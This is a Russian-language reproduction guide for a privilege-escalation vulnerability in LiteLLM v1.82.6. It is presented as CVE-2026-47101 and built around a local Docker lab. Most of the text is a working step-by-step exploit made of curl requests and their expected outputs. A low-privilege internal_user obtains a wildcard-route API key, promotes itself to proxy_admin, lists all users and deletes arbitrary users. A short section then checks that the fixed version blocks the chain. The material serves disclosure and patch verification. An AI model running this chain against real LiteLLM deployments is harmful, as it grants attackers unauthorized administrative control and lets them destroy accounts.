
Код для самостоятельного воспроизведения соответствующей уязвимости
/key/generate + /user/updateLiteLLM версии v1.82.6 (до v1.83.14) эндпоинт
/key/generateпозволяет малопривилегированномуinternal_userзапросить API-ключ с wildcard-маршрутом["/*"], а затем через эндпоинт/user/updateповысить свою роль доproxy_admin, реализуя несанкционированное повышение привилегий.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-47101 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) |
| Затронутые версии | LiteLLM < 1.83.14 (подтверждено в v1.82.6) |
| Исправление | v1.83.14+ (добавлена проверка роли для allowed_routes) |
| Опубликовано | 2026-05-21 |
| Обнаружено | Fenix Qiao (13ph03nix) — Obsidian Security |
| Ссылки | NVD |
Эндпоинт /key/generate в LiteLLM используется для генерации API-ключей, а /user/update — для обновления атрибутов пользователя.
В проверках авторизации этих двух эндпоинтов существуют три последовательных дефекта, которые могут быть использованы малопривилегированным пользователем в цепочке:
/key/generate не проверяет allowed_routes — любая роль (включая internal_user) может запросить wildcard-маршрут ["/*"]allowed_routes — сгенерированный wildcard-ключ получает доступ ко всем административным эндпоинтам/user/update позволяет самому изменять поле user_role — используя wildcard-ключ, можно повысить свою роль до proxy_admininternal_user
→ POST /key/generate {"allowed_routes": ["/*"]}
→ получение wildcard API-ключа
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"}
→ повышение роли до proxy_admin
→ GET /user/list (используя wildcard-ключ)
→ подтверждение административного доступа
# 1. Запуск PostgreSQL + уязвимой версии LiteLLM (v1.82.6, фиксированный digest)
docker compose up -d litellm
# Ожидание готовности сервиса (около 10–30 секунд)
sleep 15
# Просмотр логов контейнера
docker logs litellm-privesc 2>&1 | tail -10
Ожидаемый вывод должен содержать строки об успешном запуске, например Uvicorn running on http://0.0.0.0:4000.
Используйте master key для создания малопривилегированной учётной записи internal_user:
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Ожидаемый вывод:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
Запомните возвращённые user_id и key — они понадобятся на следующих шагах.
Вызовите /key/generate от имени internal_user, запросив ключ с wildcard-маршрутом ["/*"]:
# Замените sk-internal-user-key на ключ, полученный на предыдущем шаге
curl -s -X POST http://localhost:4000/key/generate \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Ожидаемый вывод:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}
⚠️ Уязвимость:
internal_userуспешно сгенерировал ключ с wildcard-маршрутом["/*"]! Этот ключ может получить доступ ко всем административным эндпоинтам, включая/user/update,/user/listи другие.
Используя wildcard-ключ, вызовите /user/update для изменения роли пользователя на proxy_admin:
curl -s -X POST http://localhost:4000/user/update \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Ожидаемый вывод:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Уязвимость:
user_roleизменён сinternal_userнаproxy_admin! Эндпоинт/user/updateпозволяет пользователю изменять собственное полеuser_roleбез каких-либо ограничений.
Проверьте, что повышение роли сработало, через эндпоинт /user/list:
curl -s -X GET http://localhost:4000/user/list \
-H "Authorization: Bearer sk-wildcard-key"
Ожидаемый вывод:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
Эндпоинт
/user/listдоступен только для ролиproxy_admin. Успешное получение списка пользователей подтверждает, что повышение привилегий сработало.
Используя полученные права proxy_admin, можно удалить любого пользователя через /user/delete:
curl -s -X POST http://localhost:4000/user/delete \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Ожидаемый вывод:
1
Все шаги объединены в скрипт demo.sh, его можно выполнить напрямую:
# Полное воспроизведение (шаги 1–5)
bash demo.sh
# Одновременное тестирование исправленной версии
bash demo.sh --fixed
Запустите исправленную версию (v1.83.14-stable), чтобы убедиться, что уязвимость устранена:
# Запуск исправленной версии
docker compose --profile fixed up -d litellm-fixed
# Ожидание готовности
sleep 15
Создайте internal_user:
FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}' | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
echo "Fixed user key: $FIXED_USER_KEY"
Попробуйте сгенерировать ключ с wildcard-маршрутом (ожидается блокировка):
curl -s -X POST http://localhost:4001/key/generate \
-H "Authorization: Bearer $FIXED_USER_KEY" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Ожидаемый вывод (исправленная версия блокирует несанкционированный запрос):
{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}
Сравнение с уязвимой версией:
| Тестовый сценарий | Уязвимая версия (v1.82.6) | Исправленная версия (v1.83.14) |
|---|---|---|
internal_user запрашивает ["/*"] | ✅ Успешно создан wildcard-ключ | ❌ Заблокировано (HTTP 403) |
| wildcard-ключ изменяет user_role | ✅ Успешно повышен до proxy_admin | ❌ Заблокировано |
| wildcard-ключ обращается к /user/list | ✅ Успешно получен список пользователей | ❌ Заблокировано |
POST /key/generateГенерирует новый API-ключ. Параметр allowed_routes ограничивает список маршрутов, к которым имеет доступ ключ.
| Поле | Тип | Обязательно | Описание |
|---|---|---|---|
allowed_routes | array | Нет | Список разрешённых маршрутов, например ["/*"] означает все маршруты |
POST /user/updateОбновляет атрибуты пользователя, включая поле user_role.
| Поле | Тип | Обязательно | Описание |
|---|---|---|---|
user_id | string | Да | ID пользователя для обновления |
user_role | string | Да | Новая роль (например, proxy_admin) |
От имени internal_user вызовите /key/generate с запросом ключа с ["/*"]:
POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json
{"allowed_routes": ["/*"]}